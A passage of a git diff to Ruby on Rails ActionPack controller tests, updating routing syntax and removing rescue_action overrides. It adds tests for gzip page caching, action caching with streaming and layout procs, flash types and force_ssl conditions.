     { :host => 'www.override.com', :action => 'new', :locale => 'en' }
   end
 end
@@ -79,7 +56,7 @@ class UrlOptionsController < ActionController::Base
   end
 
   def url_options
-    super.merge(:host => 'www.override.com', :action => 'new', :locale => 'en')
+    super.merge(:host => 'www.override.com')
   end
 end
 
@@ -106,7 +83,7 @@ class ControllerClassTests < ActiveSupport::TestCase
   end
 end
 
-class ControllerInstanceTests < Test::Unit::TestCase
+class ControllerInstanceTests < ActiveSupport::TestCase
   def setup
     @empty = EmptyController.new
     @contained = Submodule::ContainedEmptyController.new
@@ -116,6 +93,12 @@ class ControllerInstanceTests < Test::Unit::TestCase
                               Submodule::ContainedNonEmptyController.new]
   end
 
+  def test_performed?
+    assert !@empty.performed?
+    @empty.response_body = ["sweet"]
+    assert @empty.performed?
+  end
+
   def test_action_methods
     @empty_controllers.each do |c|
       assert_equal Set.new, c.class.action_methods, "#{c.controller_path} should be empty!"
@@ -142,13 +125,11 @@ class PerformActionTest < ActionController::TestCase
 
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
+    @controller.logger = ActiveSupport::Logger.new(nil)
 
     @request     = ActionController::TestRequest.new
     @response    = ActionController::TestResponse.new
     @request.host = "www.nextangle.com"
-
-    rescue_action_in_public!
   end
 
   def test_process_should_be_precise
@@ -159,32 +140,10 @@ class PerformActionTest < ActionController::TestCase
     assert_equal exception.message, "The action 'non_existent' could not be found for EmptyController"
   end
 
-  def test_get_on_priv_should_show_selector
-    use_controller MethodMissingController
-    get :shouldnt_be_called
-    assert_response :success
-    assert_equal 'shouldnt_be_called', @response.body
-  end
-
-  def test_method_missing_is_not_an_action_name
-    use_controller MethodMissingController
-    assert !@controller.__send__(:action_method?, 'method_missing')
-
-    get :method_missing
-    assert_response :success
-    assert_equal 'method_missing', @response.body
-  end
-
-  def test_method_missing_should_recieve_symbol
-    use_controller AnotherMethodMissingController
-    get :some_action
-    assert_kind_of NameError, @controller._exception
-  end
-
   def test_get_on_hidden_should_fail
     use_controller NonEmptyController
-    assert_raise(ActionController::UnknownAction) { get :hidden_action }
-    assert_raise(ActionController::UnknownAction) { get :another_hidden_action }
+    assert_raise(AbstractController::ActionNotFound) { get :hidden_action }
+    assert_raise(AbstractController::ActionNotFound) { get :another_hidden_action }
   end
 end
 
@@ -194,31 +153,45 @@ class UrlOptionsTest < ActionController::TestCase
   def setup
     super
     @request.host = 'www.example.com'
-    rescue_action_in_public!
+  end
+
+  def test_url_for_query_params_included
+    rs = ActionDispatch::Routing::RouteSet.new
+    rs.draw do
+      get 'home' => 'pages#home'
+    end
+
+    options = {
+      :action     => "home",
+      :controller => "pages",
+      :only_path  => true,
+      :params     => { "token" => "secret" }
+    }
+
+    assert_equal '/home?token=secret', rs.url_for(options)
   end
 
   def test_url_options_override
     with_routing do |set|
       set.draw do
-        match 'from_view', :to => 'url_options#from_view', :as => :from_view
-        match ':controller/:action'
+        get 'from_view', :to => 'url_options#from_view', :as => :from_view
+        get ':controller/:action'
       end
 
       get :from_view, :route => "from_view_url"
 
-      assert_equal 'http://www.override.com/from_view?locale=en', @response.body
-      assert_equal 'http://www.override.com/from_view?locale=en', @controller.send(:from_view_url)
-      assert_equal 'http://www.override.com/default_url_options/new?locale=en', @controller.url_for(:controller => 'default_url_options')
+      assert_equal 'http://www.override.com/from_view', @response.body
+      assert_equal 'http://www.override.com/from_view', @controller.send(:from_view_url)
+      assert_equal 'http://www.override.com/default_url_options/index', @controller.url_for(:controller => 'default_url_options')
     end
   end
 
   def test_url_helpers_does_not_become_actions
     with_routing do |set|
       set.draw do
-        match "account/overview"
+        get "account/overview"
       end
 
-      @controller.class.send(:include, set.url_helpers)
       assert !@controller.class.action_methods.include?("account_overview_path")
     end
   end
@@ -230,14 +203,13 @@ class DefaultUrlOptionsTest < ActionController::TestCase
   def setup
     super
     @request.host = 'www.example.com'
-    rescue_action_in_public!
   end
 
   def test_default_url_options_override
     with_routing do |set|
       set.draw do
-        match 'from_view', :to => 'default_url_options#from_view', :as => :from_view
-        match ':controller/:action'
+        get 'from_view', :to => 'default_url_options#from_view', :as => :from_view
+        get ':controller/:action'
       end
 
       get :from_view, :route => "from_view_url"
@@ -254,7 +226,7 @@ class DefaultUrlOptionsTest < ActionController::TestCase
         scope("/:locale") do
           resources :descriptions
         end
-        match ':controller/:action'
+        get ':controller/:action'
       end
 
       get :from_view, :route => "description_path(1)"
@@ -281,7 +253,6 @@ class EmptyUrlOptionsTest < ActionController::TestCase
   def setup
     super
     @request.host = 'www.example.com'
-    rescue_action_in_public!
   end
 
   def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index 2364bbf3a3..0efba5b77f 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -14,10 +14,14 @@ class CachingController < ActionController::Base
 end
 
 class PageCachingTestController < CachingController
+  self.page_cache_compression = :best_compression
+
   caches_page :ok, :no_content, :if => Proc.new { |c| !c.request.format.json? }
   caches_page :found, :not_found
   caches_page :about_me
-
+  caches_page :default_gzip
+  caches_page :no_gzip, :gzip => false
+  caches_page :gzip_level, :gzip => :best_speed
 
   def ok
     head :ok
@@ -40,6 +44,18 @@ class PageCachingTestController < CachingController
     cache_page("Super soaker", "/index.html")
   end
 
+  def default_gzip
+    render :text => "Text"
+  end
+
+  def no_gzip
+    render :text => "PNG"
+  end
+
+  def gzip_level
+    render :text => "Big text"
+  end
+
   def expire_custom_path
     expire_page("/index.html")
     head :ok
@@ -86,8 +102,8 @@ class PageCachingTest < ActionController::TestCase
   def test_page_caching_resources_saves_to_correct_path_with_extension_even_if_default_route
     with_routing do |set|
       set.draw do
-        match 'posts.:format', :to => 'posts#index', :as => :formatted_posts
-        match '/', :to => 'posts#index', :as => :main
+        get 'posts.:format', :to => 'posts#index', :as => :formatted_posts
+        get '/', :to => 'posts#index', :as => :main
       end
       @params[:format] = 'rss'
       assert_equal '/posts.rss', @routes.url_for(@params)
@@ -115,6 +131,30 @@ class PageCachingTest < ActionController::TestCase
     assert !File.exist?("#{FILE_STORE_PATH}/index.html")
   end
 
+  def test_should_gzip_cache
+    get :custom_path
+    assert File.exist?("#{FILE_STORE_PATH}/index.html.gz")
+
+    get :expire_custom_path
+    assert !File.exist?("#{FILE_STORE_PATH}/index.html.gz")
+  end
+
+  def test_should_allow_to_disable_gzip
+    get :no_gzip
+    assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/no_gzip.html")
+    assert !File.exist?("#{FILE_STORE_PATH}/page_caching_test/no_gzip.html.gz")
+  end
+
+  def test_should_use_config_gzip_by_default
+    @controller.expects(:cache_page).with(nil, nil, Zlib::BEST_COMPRESSION)
+    get :default_gzip
+  end
+
+  def test_should_set_gzip_level
+    @controller.expects(:cache_page).with(nil, nil, Zlib::BEST_SPEED)
+    get :gzip_level
+  end
+
   def test_should_cache_without_trailing_slash_on_url
     @controller.class.cache_page 'cached content', '/page_caching_test/trailing_slash'
     assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
@@ -140,7 +180,7 @@ class PageCachingTest < ActionController::TestCase
   end
 
   [:ok, :no_content, :found, :not_found].each do |status|
-    [:get, :post, :put, :delete].each do |method|
+    [:get, :post, :patch, :put, :delete].each do |method|
       unless method == :get && status == :ok
         define_method "test_shouldnt_cache_#{method}_with_#{status}_status" do
           send(method, status)
@@ -183,6 +223,7 @@ end
 
 class ActionCachingTestController < CachingController
   rescue_from(Exception) { head 500 }
+  rescue_from(ActionController::UnknownFormat) { head :not_acceptable }
   if defined? ActiveRecord
     rescue_from(ActiveRecord::RecordNotFound) { head :not_found }
   end
@@ -190,13 +231,16 @@ class ActionCachingTestController < CachingController
   # Eliminate uninitialized ivar warning
   before_filter { @title = nil }
 
-  caches_action :index, :redirected, :forbidden, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
+  caches_action :index, :redirected, :forbidden, :if => Proc.new { |c| c.request.format && !c.request.format.json? }, :expires_in => 1.hour
   caches_action :show, :cache_path => 'http://test.host/custom/show'
   caches_action :edit, :cache_path => Proc.new { |c| c.params[:id] ? "http://test.host/#{c.params[:id]};edit" : "http://test.host/edit" }
   caches_action :with_layout
-  caches_action :with_format_and_http_param, :cache_path => Proc.new { |c| { :key => 'value' } } 
+  caches_action :with_format_and_http_param, :cache_path => Proc.new { |c| { :key => 'value' } }
   caches_action :layout_false, :layout => false
+  caches_action :with_layout_proc_param, :layout => Proc.new { |c| c.params[:layout] }
   caches_action :record_not_found, :four_oh_four, :simple_runtime_error
+  caches_action :streaming
+  caches_action :invalid
 
   layout 'talk_from_action'
 
@@ -224,7 +268,7 @@ class ActionCachingTestController < CachingController
     @cache_this = MockTime.now.to_f.to_s
     render :text => @cache_this
   end
-  
+
   def record_not_found
     raise ActiveRecord::RecordNotFound, "oops!"
   end
@@ -241,6 +285,7 @@ class ActionCachingTestController < CachingController
   alias_method :edit, :index
   alias_method :destroy, :index
   alias_method :layout_false, :with_layout
+  alias_method :with_layout_proc_param, :with_layout
 
   def expire
     expire_action :controller => 'action_caching_test', :action => 'index'
@@ -251,6 +296,23 @@ class ActionCachingTestController < CachingController
     expire_action :controller => 'action_caching_test', :action => 'index', :format => 'xml'
     render :nothing => true
   end
+
+  def expire_with_url_string
+    expire_action url_for(:controller => 'action_caching_test', :action => 'index')
+    render :nothing => true
+  end
+
+  def streaming
+    render :text => "streaming", :stream => true
+  end
+
+  def invalid
+    @cache_this = MockTime.now.to_f.to_s
+
+    respond_to do |format|
+      format.json{ render :json => @cache_this }
+    end
+  end
 end
 
 class MockTime < Time
@@ -287,15 +349,18 @@ class ActionCachingMockController
 end
 
 class ActionCacheTest < ActionController::TestCase
+  tests ActionCachingTestController
+
   def setup
     super
-    reset!
+    @request.host = 'hostname.com'
     FileUtils.mkdir_p(FILE_STORE_PATH)
     @path_class = ActionController::Caching::Actions::ActionCachePath
     @mock_controller = ActionCachingMockController.new
   end
 
   def teardown
+    super
     FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
   end
 
@@ -305,7 +370,6 @@ class ActionCacheTest < ActionController::TestCase
     cached_time = content_to_cache
     assert_equal cached_time, @response.body
     assert fragment_exist?('hostname.com/action_caching_test')
-    reset!
 
     get :index
     assert_response :success
@@ -318,7 +382,6 @@ class ActionCacheTest < ActionController::TestCase
     cached_time = content_to_cache
     assert_equal cached_time, @response.body
     assert !fragment_exist?('hostname.com/action_caching_test/destroy')
-    reset!
 
     get :destroy
     assert_response :success
@@ -333,7 +396,6 @@ class ActionCacheTest < ActionController::TestCase
     cached_time = content_to_cache
     assert_not_equal cached_time, @response.body
     assert fragment_exist?('hostname.com/action_caching_test/with_layout')
-    reset!
 
     get :with_layout
     assert_response :success
@@ -348,16 +410,42 @@ class ActionCacheTest < ActionController::TestCase
     cached_time = content_to_cache
     assert_not_equal cached_time, @response.body
     assert fragment_exist?('hostname.com/action_caching_test/layout_false')
-    reset!
 
     get :layout_false
     assert_response :success
     assert_not_equal cached_time, @response.body
-
     body = body_to_string(read_fragment('hostname.com/action_caching_test/layout_false'))
     assert_equal cached_time, body
   end
 
+  def test_action_cache_with_layout_and_layout_cache_false_via_proc
+    get :with_layout_proc_param, :layout => false
+    assert_response :success
+    cached_time = content_to_cache
+    assert_not_equal cached_time, @response.body
+    assert fragment_exist?('hostname.com/action_caching_test/with_layout_proc_param')
+
+    get :with_layout_proc_param, :layout => false
+    assert_response :success
+    assert_not_equal cached_time, @response.body
+    body = body_to_string(read_fragment('hostname.com/action_caching_test/with_layout_proc_param'))
+    assert_equal cached_time, body
+  end
+
+  def test_action_cache_with_layout_and_layout_cache_true_via_proc
+    get :with_layout_proc_param, :layout => true
+    assert_response :success
+    cached_time = content_to_cache
+    assert_not_equal cached_time, @response.body
+    assert fragment_exist?('hostname.com/action_caching_test/with_layout_proc_param')
+
+    get :with_layout_proc_param, :layout => true
+    assert_response :success
+    assert_not_equal cached_time, @response.body
+    body = body_to_string(read_fragment('hostname.com/action_caching_test/with_layout_proc_param'))
+    assert_equal @response.body, body
+  end
+
   def test_action_cache_conditional_options
     @request.env['HTTP_ACCEPT'] = 'application/json'
     get :index
@@ -386,7 +474,6 @@ class ActionCacheTest < ActionController::TestCase
     cached_time = content_to_cache
     assert_equal cached_time, @response.body
     assert fragment_exist?('test.host/custom/show')
-    reset!
 
     get :show
     assert_response :success
@@ -397,7 +484,6 @@ class ActionCacheTest < ActionController::TestCase
     get :edit
     assert_response :success
     assert fragment_exist?('test.host/edit')
-    reset!
 
     get :edit, :id => 1
     assert_response :success
@@ -408,22 +494,18 @@ class ActionCacheTest < ActionController::TestCase
     get :index
     assert_response :success
     cached_time = content_to_cache
-    reset!
 
     get :index
     assert_response :success
     assert_equal cached_time, @response.body
-    reset!
 
     get :expire
     assert_response :success
-    reset!
 
     get :index
     assert_response :success
     new_cached_time = content_to_cache
     assert_not_equal cached_time, @response.body
-    reset!
 
     get :index
     assert_response :success
@@ -433,12 +515,23 @@ class ActionCacheTest < ActionController::TestCase
   def test_cache_expiration_isnt_affected_by_request_format
     get :index
     cached_time = content_to_cache
-    reset!
 
     @request.request_uri = "/action_caching_test/expire.xml"
     get :expire, :format => :xml
     assert_response :success
-    reset!
+
+    get :index
+    assert_response :success
+    assert_not_equal cached_time, @response.body
+  end
+
+  def test_cache_expiration_with_url_string
+    get :index
+    cached_time = content_to_cache
+
+    @request.request_uri = "/action_caching_test/expire_with_url_string"
+    get :expire_with_url_string
+    assert_response :success
 
     get :index
     assert_response :success
@@ -451,23 +544,17 @@ class ActionCacheTest < ActionController::TestCase
     assert_response :success
     jamis_cache = content_to_cache
 
-    reset!
-
     @request.host = 'david.hostname.com'
     get :index
     assert_response :success
     david_cache = content_to_cache
     assert_not_equal jamis_cache, @response.body
 
-    reset!
-
     @request.host = 'jamis.hostname.com'
     get :index
     assert_response :success
     assert_equal jamis_cache, @response.body
 
-    reset!
-
     @request.host = 'david.hostname.com'
     get :index
     assert_response :success
@@ -477,8 +564,6 @@ class ActionCacheTest < ActionController::TestCase
   def test_redirect_is_not_cached
     get :redirected
     assert_response :redirect
-    reset!
-
     get :redirected
     assert_response :redirect
   end
@@ -486,8 +571,6 @@ class ActionCacheTest < ActionController::TestCase
   def test_forbidden_is_not_cached
     get :forbidden
     assert_response :forbidden
-    reset!
-
     get :forbidden
     assert_response :forbidden
   end
@@ -495,7 +578,7 @@ class ActionCacheTest < ActionController::TestCase
   def test_xml_version_of_resource_is_treated_as_different_cache
     with_routing do |set|
       set.draw do
-        match ':controller(/:action(.:format))'
+        get ':controller(/:action(.:format))'
       end
 
       get :index, :format => 'xml'
@@ -503,17 +586,14 @@ class ActionCacheTest < ActionController::TestCase
       cached_time = content_to_cache
       assert_equal cached_time, @response.body
       assert fragment_exist?('hostname.com/action_caching_test/index.xml')
-      reset!
 
       get :index, :format => 'xml'
       assert_response :success
       assert_equal cached_time, @response.body
       assert_equal 'application/xml', @response.content_type
-      reset!
 
       get :expire_xml
       assert_response :success
-      reset!
 
       get :index, :format => 'xml'
       assert_response :success
@@ -587,19 +667,37 @@ class ActionCacheTest < ActionController::TestCase
     assert_response 500
   end
 
+  def test_action_caching_plus_streaming
+    get :streaming
+    assert_response :success
+    assert_match(/streaming/, @response.body)
+    assert fragment_exist?('hostname.com/action_caching_test/streaming')
+  end
+
+  def test_invalid_format_returns_not_acceptable
+    get :invalid, :format => "json"
+    assert_response :success
+    cached_time = content_to_cache
+    assert_equal cached_time, @response.body
+
+    assert fragment_exist?("hostname.com/action_caching_test/invalid.json")
+
+    get :invalid, :format => "json"
+    assert_response :success
+    assert_equal cached_time, @response.body
+
+    get :invalid, :format => "xml"
+    assert_response :not_acceptable
+
+    get :invalid, :format => "\xC3\x83"
+    assert_response :not_acceptable
+  end
+
   private
     def content_to_cache
       assigns(:cache_this)
     end
 
-    def reset!
-      @request    = ActionController::TestRequest.new
-      @response   = ActionController::TestResponse.new
-      @controller = ActionCachingTestController.new
-      @controller.singleton_class.send(:include, @routes.url_helpers)
-      @request.host = 'hostname.com'
-    end
-
     def fragment_exist?(path)
       @controller.fragment_exist?(path)
     end
@@ -626,8 +724,6 @@ class FragmentCachingTest < ActionController::TestCase
     @controller.params = @params
     @controller.request = @request
     @controller.response = @response
-    @controller.send(:initialize_template_class, @response)
-    @controller.send(:assign_shortcuts, @request, @response)
   end
 
   def test_fragment_cache_key
@@ -735,10 +831,6 @@ class FunctionalCachingController < CachingController
       format.xml
     end
   end
-
-  def rescue_action(e)
-    raise e
-  end
 end
 
 class FunctionalFragmentCachingTest < ActionController::TestCase
diff --git a/actionpack/test/controller/capture_test.rb b/actionpack/test/controller/capture_test.rb
index d78acb8ce8..72263156d9 100644
--- a/actionpack/test/controller/capture_test.rb
+++ b/actionpack/test/controller/capture_test.rb
@@ -1,5 +1,5 @@
 require 'abstract_unit'
-require 'logger'
+require 'active_support/logger'
 
 class CaptureController < ActionController::Base
   def self.controller_name; "test"; end
@@ -28,8 +28,6 @@ class CaptureController < ActionController::Base
   def proper_block_detection
     @todo = "some todo"
   end
-
-  def rescue_action(e) raise end
 end
 
 class CaptureTest < ActionController::TestCase
@@ -39,7 +37,7 @@ class CaptureTest < ActionController::TestCase
     super
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
+    @controller.logger = ActiveSupport::Logger.new(nil)
 
     @request.host = "www.nextangle.com"
   end
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
index d51882066d..03d5d27cf4 100644
--- a/actionpack/test/controller/content_type_test.rb
+++ b/actionpack/test/controller/content_type_test.rb
@@ -48,8 +48,6 @@ class OldContentTypeController < ActionController::Base
       format.rss  { render :text   => "hello world!", :content_type => Mime::XML }
     end
   end
-
-  def rescue_action(e) raise end
 end
 
 class ContentTypeTest < ActionController::TestCase
@@ -59,7 +57,7 @@ class ContentTypeTest < ActionController::TestCase
     super
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
+    @controller.logger = ActiveSupport::Logger.new(nil)
   end
 
   # :ported:
@@ -70,12 +68,12 @@ class ContentTypeTest < ActionController::TestCase
   end
 
   def test_render_changed_charset_default
-    OldContentTypeController.default_charset = "utf-16"
+    ActionDispatch::Response.default_charset = "utf-16"
     get :render_defaults
     assert_equal "utf-16", @response.charset
     assert_equal Mime::HTML, @response.content_type
   ensure
-    OldContentTypeController.default_charset = "utf-8"
+    ActionDispatch::Response.default_charset = "utf-8"
   end
 
   # :ported:
@@ -107,12 +105,12 @@ class ContentTypeTest < ActionController::TestCase
   end
 
   def test_nil_default_for_erb
-    OldContentTypeController.default_charset = nil
+    ActionDispatch::Response.default_charset = nil
     get :render_default_for_erb
     assert_equal Mime::HTML, @response.content_type
     assert_nil @response.charset, @response.headers.inspect
   ensure
-    OldContentTypeController.default_charset = "utf-8"
+    ActionDispatch::Response.default_charset = "utf-8"
   end
 
   def test_default_for_erb
diff --git a/actionpack/test/controller/default_url_options_with_filter_test.rb b/actionpack/test/controller/default_url_options_with_filter_test.rb
index 3bbb981040..ef028e8cdb 100644
--- a/actionpack/test/controller/default_url_options_with_filter_test.rb
+++ b/actionpack/test/controller/default_url_options_with_filter_test.rb
@@ -21,7 +21,7 @@ end
 
 class ControllerWithBeforeFilterAndDefaultUrlOptionsTest < ActionController::TestCase
 
-  # This test has it´s roots in issue #1872
+  # This test has its roots in issue #1872
   test "should redirect with correct locale :de" do
     get :redirect, :locale => "de"
     assert_redirected_to "/controller_with_before_filter_and_default_url_options/target?locale=de"
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index d5e3da4d88..afc00a3c9d 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -16,7 +16,7 @@ class ActionController::Base
 
   def assigns(key = nil)
     assigns = {}
-    instance_variable_names.each do |ivar|
+    instance_variables.each do |ivar|
       next if ActionController::Base.protected_instance_variables.include?(ivar)
       assigns[ivar[1..-1]] = instance_variable_get(ivar)
     end
@@ -165,8 +165,6 @@ class FilterTest < ActionController::TestCase
         @ran_filter ||= []
         @ran_filter << "clean_up_tmp"
       end
-
-      def rescue_action(e) raise(e) end
   end
 
   class ConditionalCollectionFilterController < ConditionalFilterController
@@ -328,6 +326,12 @@ class FilterTest < ActionController::TestCase
       controller.instance_variable_set(:"@after_ran", true)
       controller.class.execution_log << " after aroundfilter " if controller.respond_to? :execution_log
     end
+
+    def around(controller)
+      before(controller)
+      yield
+      after(controller)
+    end
   end
 
   class AppendedAroundFilter
@@ -338,6 +342,12 @@ class FilterTest < ActionController::TestCase
     def after(controller)
       controller.class.execution_log << " after appended aroundfilter "
     end
+
+    def around(controller)
+      before(controller)
+      yield
+      after(controller)
+    end
   end
 
   class AuditController < ActionController::Base
@@ -454,11 +464,6 @@ class FilterTest < ActionController::TestCase
     def show
       raise ErrorToRescue.new("Something made the bad noise.")
     end
-
-  private
-    def rescue_action(exception)
-      raise exception
-    end
   end
 
   class NonYieldingAroundFilterController < ActionController::Base
@@ -472,9 +477,6 @@ class FilterTest < ActionController::TestCase
       render :inline => "index"
     end
 
-    #make sure the controller complains
-    def rescue_action(e); raise e; end
-
     private
 
       def filter_one
@@ -503,6 +505,10 @@ class FilterTest < ActionController::TestCase
     def show
       render :text => 'hello world'
     end
+
+    def error
+      raise StandardError.new
+    end
   end
 
   class ImplicitActionsController < ActionController::Base
@@ -520,11 +526,25 @@ class FilterTest < ActionController::TestCase
     end
   end
 
+  def test_sweeper_should_not_ignore_no_method_error
+    sweeper = ActionController::Caching::Sweeper.send(:new)
+    assert_raise NoMethodError do
+      sweeper.send_not_defined
+    end
+  end
+
   def test_sweeper_should_not_block_rendering
     response = test_process(SweeperTestController)
     assert_equal 'hello world', response.body
   end
 
+  def test_sweeper_should_clean_up_if_exception_is_raised
+    assert_raise StandardError do
+      test_process(SweeperTestController, 'error')
+    end
+    assert_nil AppSweeper.instance.controller
+  end
+
   def test_before_method_of_sweeper_should_always_return_true
     sweeper = ActionController::Caching::Sweeper.send(:new)
     assert sweeper.before(TestController.new)
@@ -825,11 +845,7 @@ class FilterTest < ActionController::TestCase
     end
 end
 
-
-
 class PostsController < ActionController::Base
-  def rescue_action(e); raise e; end
-
   module AroundExceptions
     class Error < StandardError ; end
     class Before < Error ; end
@@ -951,9 +967,7 @@ class ControllerWithAllTypesOfFilters < PostsController
 end
 
 class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
-  $vbf = true
   skip_filter :around_again
-  $vbf = false
   skip_filter :after
 end
 
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
index 9b69a2648e..ccca0dac17 100644
--- a/actionpack/test/controller/flash_hash_test.rb
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -75,6 +75,7 @@ module ActionDispatch
     def test_discard_no_args
       @hash['hello'] = 'world'
       @hash.discard
+
       @hash.sweep
       assert_equal({}, @hash.to_hash)
     end
@@ -83,8 +84,88 @@ module ActionDispatch
       @hash['hello'] = 'world'
       @hash['omg']   = 'world'
       @hash.discard 'hello'
+
       @hash.sweep
       assert_equal({'omg' => 'world'}, @hash.to_hash)
     end
+
+    def test_keep_sweep
+      @hash['hello'] = 'world'
+
+      @hash.sweep
+      assert_equal({'hello' => 'world'}, @hash.to_hash)
+    end
+
+    def test_update_sweep
+      @hash['hello'] = 'world'
+      @hash.update({'hi' => 'mom'})
+
+      @hash.sweep
+      assert_equal({'hello' => 'world', 'hi' => 'mom'}, @hash.to_hash)
+    end
+
+    def test_update_delete_sweep
+      @hash['hello'] = 'world'
+      @hash.delete 'hello'
+      @hash.update({'hello' => 'mom'})
+
+      @hash.sweep
+      assert_equal({'hello' => 'mom'}, @hash.to_hash)
+    end
+
+    def test_delete_sweep
+      @hash['hello'] = 'world'
+      @hash['hi']    = 'mom'
+      @hash.delete 'hi'
+
+      @hash.sweep
+      assert_equal({'hello' => 'world'}, @hash.to_hash)
+    end
+
+    def test_clear_sweep
+      @hash['hello'] = 'world'
+      @hash.clear
+
+      @hash.sweep
+      assert_equal({}, @hash.to_hash)
+    end
+
+    def test_replace_sweep
+      @hash['hello'] = 'world'
+      @hash.replace({'hi' => 'mom'})
+
+      @hash.sweep
+      assert_equal({'hi' => 'mom'}, @hash.to_hash)
+    end
+
+    def test_discard_then_add
+      @hash['hello'] = 'world'
+      @hash['omg']   = 'world'
+      @hash.discard 'hello'
+      @hash['hello'] = 'world'
+
+      @hash.sweep
+      assert_equal({'omg' => 'world', 'hello' => 'world'}, @hash.to_hash)
+    end
+
+    def test_keep_all_sweep
+      @hash['hello'] = 'world'
+      @hash['omg']   = 'world'
+      @hash.discard 'hello'
+      @hash.keep
+
+      @hash.sweep
+      assert_equal({'omg' => 'world', 'hello' => 'world'}, @hash.to_hash)
+    end
+
+    def test_double_sweep
+      @hash['hello'] = 'world'
+      @hash.sweep
+
+      assert_equal({'hello' => 'world'}, @hash.to_hash)
+
+      @hash.sweep
+      assert_equal({}, @hash.to_hash)
+    end
   end
 end
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index e19612eace..8340aab4d2 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -51,10 +51,6 @@ class FlashTest < ActionController::TestCase
       render :inline => "hello"
     end
 
-    def rescue_action(e)
-      raise unless ActionView::MissingTemplate === e
-    end
-
     # methods for test_sweep_after_halted_filter_chain
     before_filter :halt_and_redir, :only => "filter_halting_action"
 
@@ -94,6 +90,10 @@ class FlashTest < ActionController::TestCase
     def redirect_with_other_flashes
       redirect_to '/wonderland', :flash => { :joyride => "Horses!" }
     end
+
+    def redirect_with_foo_flash
+      redirect_to "/wonderland", :foo => 'for great justice'
+    end
   end
 
   tests TestController
@@ -207,6 +207,12 @@ class FlashTest < ActionController::TestCase
     get :redirect_with_other_flashes
     assert_equal "Horses!", @controller.send(:flash)[:joyride]
   end
+
+  def test_redirect_to_with_adding_flash_types
+    @controller.class.add_flash_types :foo
+    get :redirect_with_foo_flash
+    assert_equal "for great justice", @controller.send(:flash)[:foo]
+  end
 end
 
 class FlashIntegrationTest < ActionDispatch::IntegrationTest
@@ -214,9 +220,7 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
   SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
 
   class TestController < ActionController::Base
-    def dont_set_flash
-      head :ok
-    end
+    add_flash_types :bar
 
     def set_flash
       flash["that"] = "hello"
@@ -231,6 +235,11 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
     def use_flash
       render :inline => "flash: #{flash["that"]}"
     end
+
+    def set_bar
+      flash[:bar] = "for great justice"
+      head :ok
+    end
   end
 
   def test_flash
@@ -254,16 +263,6 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
     end
   end
 
-  def test_setting_flash_raises_after_stream_back_to_client
-    with_test_route_set do
-      env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
-      get '/set_flash', nil, env
-      assert_raise(ActionDispatch::ClosedError) {
-        @request.flash['alert'] = 'alert'
-      }
-    end
-  end
-
   def test_setting_flash_does_not_raise_in_following_requests
     with_test_route_set do
       env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
@@ -280,33 +279,11 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
     end
   end
 
-  def test_setting_flash_raises_after_stream_back_to_client_even_with_an_empty_flash
-    with_test_route_set do
-      env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
-      get '/dont_set_flash', nil, env
-      assert_raise(ActionDispatch::ClosedError) {
-        @request.flash['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_flash_now_raises_after_stream_back_to_client
+  def test_added_flash_types_method
     with_test_route_set do
-      env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
-      get '/set_flash_now', nil, env
-      assert_raise(ActionDispatch::ClosedError) {
-        @request.flash.now['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_flash_now_raises_after_stream_back_to_client_even_with_an_empty_flash
-    with_test_route_set do
-      env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
-      get '/dont_set_flash', nil, env
-      assert_raise(ActionDispatch::ClosedError) {
-        @request.flash.now['alert'] = 'alert'
-      }
+      get '/set_bar'
+      assert_response :success
+      assert_equal 'for great justice', @controller.bar
     end
   end
 
@@ -321,7 +298,7 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          match ':action', :to => FlashIntegrationTest::TestController
+          get ':action', :to => FlashIntegrationTest::TestController
         end
 
         @app = self.class.build_app(set) do |middleware|
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
index 43b20fdead..6758668b7a 100644
--- a/actionpack/test/controller/force_ssl_test.rb
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -26,6 +26,38 @@ class ForceSSLExceptAction < ForceSSLController
   force_ssl :except => :banana
 end
 
+class ForceSSLIfCondition < ForceSSLController
+  force_ssl :if => :use_force_ssl?
+
+  def use_force_ssl?
+    action_name == 'cheeseburger'
+  end
+end
+
+class ForceSSLFlash < ForceSSLController
